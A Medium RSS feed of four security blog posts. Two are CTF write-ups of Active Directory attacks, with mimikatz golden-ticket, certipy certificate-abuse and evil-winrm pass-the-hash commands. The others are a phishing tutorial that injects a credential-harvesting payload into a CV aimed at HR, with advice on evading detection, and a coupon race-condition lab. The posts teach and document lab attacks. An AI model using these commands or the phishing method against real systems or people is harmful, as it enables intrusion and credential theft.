<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by mpoti sambo on Medium]]></title>
        <description><![CDATA[Stories by mpoti sambo on Medium]]></description>
        <link>https://medium.com/@mpotisambo8?source=rss-5e606632a6f8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*QYHbAgnmKWZRN1cS.jpg</url>
            <title>Stories by mpoti sambo on Medium</title>
            <link>https://medium.com/@mpotisambo8?source=rss-5e606632a6f8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 15:06:46 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mpotisambo8/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Domain Fall CTF]]></title>
            <link>https://medium.com/@mpotisambo8/adomain-fall-ctf-be9f2fa84353?source=rss-5e606632a6f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/be9f2fa84353</guid>
            <dc:creator><![CDATA[mpoti sambo]]></dc:creator>
            <pubDate>Mon, 24 Mar 2025 11:46:16 GMT</pubDate>
            <atom:updated>2025-03-24T11:56:12.367Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2CMgY9R5A_SsKEzY86leCw.png" /></figure><p>Hello everyone its stux, and today i finally got the time to write a simple writeup on domain fall CTF which happend about 2 weeks ago. i managed to finish 8th place in the race securing all the 2250 points. It took me 130hrs:58mins. lets get to it</p><p>Qn1:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*g63OiPk-VvOSASaDHXHDkg.png" /><figcaption>impersonation rights</figcaption></figure><p>We will begin by mapping out the environment</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fm8C8h0Dr2Iq7vB7lbCE_A.png" /></figure><p>These could be interesting rights to look at</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I6LZNVSa9pVHKrzrmv4bMQ.png" /><figcaption>forest</figcaption></figure><p>From this information we see we have the forest name as infosec.local</p><p>Since we can see that it is a Forest its better to enumerate the whole Forest as this will give us a better understanding of the whole Forest like any other domain controllers apart from the one which the current user is logged onto.</p><p>There are two domain controllers on the Forest</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PKFiNJpznf9m0c9QexXq9w.png" /></figure><p>Parent Child Trust is obviously going to give us a bidirectional Trust lets prove this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v2zmaOpZv88f8KMfC50DmA.png" /></figure><p>Great now we need to know the users in the domain we are in</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*6GFuAE7R7ctKoI1BpIyzpw.png" /></figure><p>Finally we need to know also all the computers in our domain so we can start</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xcP_hwNVud-8eL2MENq3Lw.png" /></figure><p>So since the qn wants sql impersonation rights, this means that the sql service is running and that would be an ideal place to start from.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*98T86mE0fWFjeuJ6gVIo9g.png" /></figure><p>SQLAudit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UhVtutmmTT8WEw_zzatZ9Q.png" /></figure><p>Results</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AsJj7wDmM5dVl76Jn392uQ.png" /></figure><p>From the results we can see that alice who is the user that we are currently logged in as can impersonate dbmaintainer and dbmaintainer can impersonate sa (sysadmin) account.</p><p>Answer</p><pre>dbmaintainer</pre><p>Qn 2:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*axape47l0DZ7O1nCh_Cmfg.png" /></figure><p>So lets map out our attack path for this scenario</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GNL8U7rJsFpjlPBab_de9g.png" /></figure><p>We have to impersonate dbmaintainer then sa to get access to the server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_6Q5Y8iwN4ELKHuF3iVLhw.png" /></figure><p>To get SA account we can do this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zqtZwN9BKYTHWN6jdKsgsg.png" /></figure><p>Great now we need to run a commandto spawn a shell or get access to the server details</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ATrmaseP_VzsSkS8mZdm_w.png" /></figure><p>We have access to a flag we can get the flag on out pc or enter the server and read the contents within the server itself</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KCVnEksyx2bZ9s2tqN9fxA.png" /></figure><p>Access to DBServer we can create a powershell base64 script that connects back to us</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k9zF06k2JGuNnzE8Z-BEvw.png" /></figure><p>getting NT authority on the dbserver</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*aeplhjz9DmGkkI13VVhwJA.png" /></figure><p>getting NTLM hash of dbadmin via mimikatz on elevated dbserver and the password in plaintext</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*pqo58b1VOWBUmZTgRpN0Sw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*YZahf2pL0xrVwo3zYP5aRQ.png" /></figure><p>Answer</p><pre>dbb39137c5ac10b5be5fe51c5d98ea8f</pre><p>Qn3</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*bY-A65ISPRM8c58HacZmDA.png" /></figure><p>For this qn we already have the answer since we saw it in the dbserver</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*sqmVgTTKhkmIj4czDFulcw.png" /></figure><p>Answer</p><pre>4d50c3ad90386ab489a596613fc13d0f</pre><p>Qn4</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*WPKg6bddQbzjheNFL7O7Pw.png" /></figure><p>This question wanted krbtgt hash</p><p>Since we have the ntlmhash of dbadmin we can try and impersonate using Rubeus or kekeo lets use kekeo simply cause why not. But first we need TGT for dbadmin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZovZ2tPoXKs3gvsy7gHH-A.png" /></figure><p>Then we can use this TGT ticket to impersonate administrator of another domain controller since there is bidirectional trust with the two domain controllers</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EJfQfLkWO0KAx_LwEoa44Q.png" /></figure><p>Injecting into memory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B4zMoXWsHuatbCcgHTlGYw.png" /></figure><p>Accessing the prod server shares</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tIwQZdSP3xGyhbyIjCSBIw.png" /></figure><p>Great now we can use psexec64.exe to get shell on prod</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*puG9Wdz-qQFRgf1CgRqDww.png" /></figure><p>Upload mimikatz to get admin hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QlAtb2GQmBm4z1BZd2vLiw.png" /></figure><p>Lets do some sync on dc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*26ZxqQ-OmTjcGzlpI4EkSA.png" /></figure><p>we no have the NTLM hash of krbtgt</p><p>Answer:</p><pre>75f06dfe8968a165c802fe1cc7e1f7c8</pre><p>Qn5</p><p>The Final qn wanted the flag in the parent domain</p><p>Creating a golden ticket with the attributes we gathered</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZpWXC6HqJxI8CqQZW6q2Cg.png" /></figure><p>Components of the golden ticket</p><pre>kerberos::golden /user:Administartor /domain:dbcenter.infosec.local /sid:S-1-5-21-311081478-4156012093-3875638631 /krbtgt:75f06dfe8968a165c802fe1cc7e1f7c8 /sids:S-1-5-21-4196253130-234316280-3721040813-519 /ptt </pre><p>This attack is called the extra SID attack</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tz8XGmCjaVbxx9FGxdDDqg.png" /></figure><p>Accessing offsec server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JHDfS-fUxr7Ltjjziv3txw.png" /></figure><p>Finally we have the final flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aWXMBAeTKKz6vNY5PTvglg.png" /></figure><p>Answer</p><pre>ff9454b555d301f21dd16b93cd98a339</pre><p>So that was it, kinda tricky but nicely crafted</p><p>By stux</p><p>#Uhurunaumoja</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=be9f2fa84353" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[P3rf3ct R00t 2024 Write-up AD]]></title>
            <link>https://medium.com/@mpotisambo8/p3rf3ct-r00t-2024-write-up-ad-c888123ce36c?source=rss-5e606632a6f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/c888123ce36c</guid>
            <dc:creator><![CDATA[mpoti sambo]]></dc:creator>
            <pubDate>Mon, 18 Nov 2024 17:52:03 GMT</pubDate>
            <atom:updated>2024-11-18T17:52:03.821Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello its stux, Nothing new just another AD machine from PerfectRoot aour brothers from another mother Kenya(shout out ) and it seems like today we will be abusing some certificates. What you will be learning out of this</p><p>Enumeration,path traversal,xml rpc abuse, pivoting,lateral movement,priv escalation. This Box was designed by Winter nice guy and it simulates a real world scenario with all the methods involved being as real as possible.Generally i loved it and much appreciation. Lets get down to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*TLLsdKWdaXGNRganqWrSMA.png" /><figcaption>Question</figcaption></figure><p>lets check what OS is running. From the ping requests we can tell its a linux machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OB4OklZo-ymrhaYFcqPUuw.png" /><figcaption>linux</figcaption></figure><p>Lets export our IP to avoid re-writing it each time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lohNYditj_oZfCpX4yFguA.png" /><figcaption>ip stored</figcaption></figure><p>Running our nmap scan</p><pre>nmap -sC -sV -Pn  $IP  -v -oN nmap.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*agRDrufaRGB4WyaUuZX9FQ.png" /></figure><p>Enumerating port 80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8zVjbH-rsJheCLizaxI9WA.png" /></figure><p>Since its wordpress best tool to use while enumerating is wp-scan</p><pre>wpscan --url http://154.12.228.253/  --passwords /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BEqpTae7dnmzynb2PjUiuw.png" /><figcaption>xml-rpc</figcaption></figure><p>Discovering user crocodile</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w5qwLL8hxMfv80oj0MVV9A.png" /></figure><p>When you try to brute-force the password nothing is successful so we have to find a way in. So basically the password is the artifact that was found at the beach in the question</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*V6ixhm2hgR_VYDh860YedA.png" /></figure><p>first we need to confirm if they are valid credentials or we are down a rabbit hole. Since we have xml rpc enabled (we got from wp-scan) we can try to log into that and see if the credentials are valid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o-CDOBv4dtVYZnZFl1PhUg.png" /><figcaption>our payload</figcaption></figure><p>We see that the creds are the correct creds</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kndhn_sfQXLUZVhHg8FSOQ.png" /><figcaption>success</figcaption></figure><p>Great this is actually very useful information to use and there are many things we can do from here on with this xml rpc enabled we can acll it onelogin authentication bypass. Uber had a similar issue a while ago which makes this a very realistic environment created by (winter) big ups big guy.</p><p>we can further test its damage by using this simple xml file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jRhmdec-LuHrgiOlqeIEFQ.png" /><figcaption>xml</figcaption></figure><p>PoC of the vulnerability</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cZEVNhrIbqZP1NyI2844nQ.png" /><figcaption>PoC</figcaption></figure><p>we can lots of tricks with this like</p><pre>wp.deleteFile<br>wp.editComment<br>wp.getOptions<br>wp.getUsers<br>wp.newPage<br>wp.newPost<br>wp.setOptions<br>wp.uploadFile</pre><p>lets try getting the Users</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*b1VLGXviMMkboNYtj2Y6Ew.png" /><figcaption>get users</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bcl5ffGEUBmC4pgj4Rk8rA.png" /></figure><p>Since i know what am already looking for i can just read its contents anywhere from outside without login into the wordpress documents</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*Cv38wyPLxOt2NYFrSV19gw.png" /><figcaption>get comments</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ym-gmVyCtH7uhQB-EZSS3Q.png" /><figcaption>flag</figcaption></figure><pre>flag: r00t{well_lif3_1s_T00_h4rD_w1d_p0xies_pixies}</pre><p>I don’t know if this was the intended way or not but yeah should get the job done.</p><p>But we have one problem…. the wp-login page is not authorized for us to use as well as the wp-admin. To me most of the people got stuck in this part of the question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QfiIP0m8sPKoBXUL-339Ww.png" /><figcaption>forbidden</figcaption></figure><p>Viewing with Burp or Caido we can see the request clearly and send it to repeater. Send it to repeater or send to replay in caido.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HyV04PBth6_P8S3Qr28eEg.png" /><figcaption>caido repeater</figcaption></figure><p>File traversal we see the document was moved to point to the directory which we don’t have authority to access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pZyX0WU2RQqbvYnFAzFK9w.png" /><figcaption>travesal</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QdSlo4vJVCOdR0W0LDI_IQ.png" /></figure><p>so we can get into wp-login.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IIbe2cLzrGbfHL1UFoqLeQ.png" /></figure><p>lets try accessing wp-login.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aAjux9kOEljVM7Iq9WeqGA.png" /><figcaption>match and replace with</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ncueSv61Zwi0u16XRtzhnQ.png" /><figcaption>login successful</figcaption></figure><p>we get the flag from here</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ETgy6icv3w1yujgzaaQNvQ.png" /></figure><p>So what the user is actually saying is that is the domain credentials and the name used is crocodile.So we can log into see if they are valid</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*97OtEN2_qlKZ_F0CK8EUsw.png" /></figure><p>ssh into server as user crocodile@grandline.local</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mvKugSehVv4gY3l8qNPIkQ.png" /><figcaption>ssh</figcaption></figure><p>Challenge two in AD series</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*PNVdEoXGEM3APUJ6Oh3BMQ.png" /><figcaption>Scenario 2</figcaption></figure><p>here if you are able to log into the server this challenge is done</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lOLw-fDLA90A3hBXTq40ZQ.png" /><figcaption>calm belt</figcaption></figure><p>Here come the fun part grab a cup of coffee sit back and relax.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/165/1*QP7kElZcVSmx-y7cBDO2UQ.gif" /><figcaption>bado hujasema ….. yani mpaka useme</figcaption></figure><p>Normally in ctf’s or in real world pentests we can see if the machine we are connected to has another network intercafe card or not. But the Series is an AD series which is supposed to be a windows environment but upto now we are still on a linux machine so our task is to find the IP address of a domain controller and pivot to it. Normally it’s located here ..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b6jsJgjshrogK7gMecYELw.png" /><figcaption>one interface</figcaption></figure><p>Where is the Domain Controller IP address. If we find it we can access it through pivoting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iCqH28OKC9gINUvsdtAzWw.png" /><figcaption>ip</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qPkbg29WZvTUnTLrrL8c_Q.png" /><figcaption>dc -ip</figcaption></figure><p>PIVOTING</p><p>am not a fun of chisel of any other tunneling options i prefer keeping my commands clean and readable that way i dont have to worry able forgetting to add the word proxychains each time i use a command on a box</p><pre>sshuttle -r &#39;crocodile@grandline.local&#39;@grandline.local  94.72.112.254/24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2iKEh34Xi6IyE4xNe8YnFw.png" /><figcaption>tunneling</figcaption></figure><p>You may choose to use any tool of your choice to tunnel. So now we have the network interface of the Domain controller accessible to us. If you wish to run nmap then this will be very noise such as that in my screenshot better option is to use the flag -sn</p><p>so it might be something like</p><pre>nmap -sn $IP</pre><p>Anyways lets stay focused we have user crocodile’s credentials which he said they are the credentials he uses on the domain controller</p><pre>crocodile:Cr0c0d1le_tears_lol1234</pre><p>SMB Null Enumeration</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dUiQVZoldHsJNzsoG6tSNQ.png" /></figure><p>but we already have credentials lets not waste time here</p><p>i prefer using crackmapexec but netexec is the new thing in town so got to go with the flow… we can enumerate users in the box run bloodhound and lots of things with these credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_kVnsFmRTvaA38L5K7_Mgg.png" /></figure><p>initially there weren’t many users in the box but i guess people were trying to maintain access in the box by creating a user… not ideally the best way to handle to probably a golden ticket attack would be the best approach or a silver ticket or ….. anyways lets leave it at that. Am going to use rusthound to collect data and analyze it using bloodhound. I find it easy and works straight way it’s just the most reliable for me to use.</p><pre>rusthound -u crocodile -p Cr0c0d1le_tears_lol1234 -d grandline.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zxtvCMMIRA0y56_lIZJpfg.png" /></figure><p>Feed the data to bloodhound and your good to go</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Otg7cIj04bEAaqnWWWXLVA.png" /></figure><p>I think there are many modifications at the time of my writing made by some users but i will stick to the intended path.</p><p>In our linux terminal when you navigate to the temp directory you will find a user TGT. The TGT stands for a Ticket Granting Ticket. This Ticket contains credentials of the mentioned user sanji but most times its difficult to crack them so we can use the method of pass the ticket attack to get access as user sanji on the box. How ……?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*977ebzehqIDlele2mPWx_A.png" /></figure><p>Part 3</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*0l1e4Nyir6leU6jOinfa_w.png" /></figure><p>Surprisingly, this had one solve only. So back to where we stopped we need the user TGT to login as Sanji so we can first export the TGT and keep it as an envronmental variable. Copy the base64 file to your local machine and put it in a txt file the base64 decode it to get the TGT cache in original state</p><pre>nano sanji.txt    (put the base64)<br>#decompile the base64 to riginal<br>base64 -d sanji.txt &gt; sanji_tgt.ccache<br>#export the tgt<br>export KRB5CCNAME=sanji_tgt.ccache</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hNWj_1gNFHzQpdqfGJMk9Q.png" /><figcaption>convert to its original form</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NGAeJcTv0-YZSaSJPcK0Ag.png" /></figure><p>lets validate if the ticket belongs to Sanji</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*98k7dusaYZF8CL53aytBpw.png" /><figcaption>sanji</figcaption></figure><p>LATERAL MOVEMENT</p><p>Now that we have proof that sanji. In bloodhound we can mark the user as owned and see what privileges they have on DC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qXGiH9R8cPJMDd4dlykQvg.png" /></figure><p>Okay from here on its just a litter bit of common sense as in why would they put a share folder for certificates. This means that we have to abuse some certificates.</p><p>Here we are going to find any vulnerable certificates in our domain controller</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4V7n-qpzrGolsKH6imruyA.png" /><figcaption>vulnerable</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vrcc57Y8X1urA-ACawIjkw.png" /><figcaption>ESC 8</figcaption></figure><p>We could abuse that using ADCSPwn.exe but i bet thatis not the intended way</p><p>So we can find other certificates to abuse. remember the qn said ..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/419/1*zh4D5A2apkuYdr18HIvIEg.png" /></figure><p>so we need to find a certificate that is related to this</p><pre>certipy-ad find -u &#39;crocodile&#39; -p Cr0c0d1le_tears_lol1234 -dc-ip 94.72.112.254</pre><p>Cool so there is a certificate that is similar to the name of the challenge which is the intended way</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A6l3wFZERSFdXrZ3lDyojw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A0jXxzdBHbtiop3vWfOxKQ.png" /></figure><p>Great since we have sanji ccache (TGT) we can use this to get the administrator pfx and get the admin hash</p><pre>export KRB5CCNAME=sanji_tgt.ccache<br>certipy-ad req -k -ca grandline-DC-CA -target dc.grandline.local -template Marinford_Degree -upn administrator@grandline.local -dns-tcp -dc-ip 94.72.112.254<br>certipy-ad auth -pfx administrator.pfx -dc-ip 94.72.112.254</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TeLhVO2gYhsYWi9MIY3dzA.png" /><figcaption>administrator.pfx</figcaption></figure><p>Get the administrator hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0p2qnFfiZirG7VAPgK06cw.png" /></figure><p>Log in the DC as Administrator</p><pre>evil-winrm -i 94.72.112.254 -u Administrator -H d8dabcadf488114f7c5a46604fb26235</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lFJUK9YN8wBA6APwKkFdFg.png" /><figcaption>admin flag</figcaption></figure><p>Not done yet …… stand up and make a happy dance</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*kBTxRHDmZwfMSyYeX5vykQ.gif" /><figcaption>happy dance</figcaption></figure><p>By stux</p><p>#UhurunaUmoja</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c888123ce36c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Phishing the HR Department]]></title>
            <link>https://medium.com/@mpotisambo8/phishing-the-hr-department-54cf74170e78?source=rss-5e606632a6f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/54cf74170e78</guid>
            <dc:creator><![CDATA[mpoti sambo]]></dc:creator>
            <pubDate>Fri, 15 Nov 2024 13:54:32 GMT</pubDate>
            <atom:updated>2024-11-15T13:54:32.601Z</atom:updated>
            <content:encoded><![CDATA[<p>Hahaaaaaa you phishy guy, i created a simulated environment to try and mimic a scenario where you would want to steal HR Credentials and probably invite your self to an interview. Today lets talk about Phishing.</p><p>The main objective is to steal the credentials of the HR as demo.</p><p>Note!: This Blog post is for educational purposes only.</p><p>Firstly we can create a dummy CV and inject the malicious payload such that our machine can listen for any incoming connections from the HR department.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*eCdjNcm4i9NgDTvD4wD9TQ.png" /><figcaption>demo CV by chat GPT</figcaption></figure><p>Next step we have to download the github repository if we want to. You can get it here <a href="https://github.com/ryhanson/phishery">https://github.com/ryhanson/phishery</a></p><p>next we can install phishery</p><pre>sudo apt-get install phishery</pre><p>Here is a screenshot to show how it can be done</p><pre>phishery -u https://&lt;IP-ADDRESS&gt;/ -i resume.docx -o badresume.docx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*YoNrC8WrIOpyqg5liWdMRw.png" /><figcaption>install and inject the doc file.</figcaption></figure><p>Once the HR opens the link in the CV they are prompted to enter there credentials and the page can be edited to your liking</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*8sJcDY7_8ttCF10SFG3pPw.png" /></figure><p>Boom we have the Credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*yt9eVmfDKZ7ylvHpK8UlLQ.png" /></figure><p>This attack also involves HTTP Smuggling method where a file is downloaded on the victims computer without their acknowledgement. The malicious file can be a backdoor that gives you access to their computers.</p><p>Warning many organizations have warning systems that alert any phishing activities carefully craft your payload to avoid any detection. There are many ways to bypass such measures but however that’s not for today. Till next time</p><p>By Stux</p><p>#uhurunaumoja</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=54cf74170e78" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Race Conditions]]></title>
            <link>https://medium.com/@mpotisambo8/race-conditions-f7a841500a5c?source=rss-5e606632a6f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/f7a841500a5c</guid>
            <dc:creator><![CDATA[mpoti sambo]]></dc:creator>
            <pubDate>Fri, 04 Oct 2024 08:15:59 GMT</pubDate>
            <atom:updated>2024-10-04T08:25:09.799Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey everyone its stux, will be looking at race condition.What exactly is Race Condition.</p><p>A <strong>race condition</strong> occurs when two or more processes or threads attempt to access shared resources or variables simultaneously, and the outcome depends on the sequence or timing of their execution. This can lead to unpredictable and unintended behavior, as the program’s correctness depends on the relative timing of these concurrent actions.</p><p>So in this scenario, we are going to abuse the coupon feature.We know that a coupon is supposed to mostly be used once only. In case it is used multiple times the coupon is not supposed to be valid. This scenario we can log into our account and see that we have only 20$. But we need to buy a jacket of 1337$. We are going to intend to abuse the coupon which is 20% off that means we are supposed to pay approximately 1069.6$. We are short <strong>1019.6$.</strong></p><p>A small piece of code like this one will do the trick</p><pre>int counter = 0;<br><br>void increment() {<br>    counter = counter + 1;<br>}</pre><p>In a multi-threaded environment, if two threads run increment() simultaneously, both may read the value of counter at the same time (say, 0), increment it, and store the same value (1) back. The result would be incorrect because we expect counter to be 2 after both threads run, but it remains 1 due to the race condition.</p><p>As we can see we only have 50$ in our account.But we also have a promo code of PROMO20. Let us try to use the discount coupon to buy something way above our account balance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*11vW_a8fR1cdHwV5tTYQ0w.png" /></figure><p>lets add the leather jacket to cart and proceed to checkout.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UBcn9dS3AEXWrcVuA30Flw.png" /></figure><p>First time use of coupon it says coupon applied. That means we can not use it again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*soFtpi2se2EJWMV9HrH6Aw.png" /></figure><p>When we try to use the coupon again we get this error message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*Km17V6yEfS55aZtD6t2hIQ.png" /></figure><p>This is what is happening to check the condition.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*9R5EmHCV7i4nEm4pIN25SQ.png" /></figure><p>We are going to remove the promo coupon and Replicate the request multiple times such that the timing is so small that is Time of Check and Time of Use (TOC-TOU) delay between checking a condition and using the result of that check. During this window, the condition can change, leading to security vulnerabilities or incorrect behavior.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*egfx4dCFoxyNV2On6JQbTA.png" /></figure><p>Create a tab group for them and create a replicate copy of this request without using the coupon yet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fqpczgFisQzcgk-dWfjxwA.png" /></figure><p>We can then put all our replicated requests into the tab group</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rsdeGgQi_jrKYvrtaDzMdg.png" /></figure><p>Here we are going to apply the coupon at exactly the same time</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*XiPBYYgjJvinOAofG1hDIQ.png" /></figure><p>We then have to send it as single parallel full packet</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*rjHuexI8EcSjjAFzPbKhyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eA95J-u6hQ2oBeQDQyTUCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w9dg9JGb4r49DJ3eYctm0g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X6wLVrt5OYGERtZ6ZFvziw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ThsNAu3gQhYUguNCH5_Tkg.png" /></figure><p>We can add the number of requests and even get a bigger discount . In this case i will pay only 19.25$.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eMVPx-_S9pSYKqegs0uSeQ.png" /></figure><p>Total is 19.25$</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9v4JSNmObm21Cx9u0aNR5g.png" /></figure><p>That being done we can say that we have exploited the race condition effectively.</p><p>Until next time</p><p>Stux.</p><p>#UhurunaUmoja.</p><img 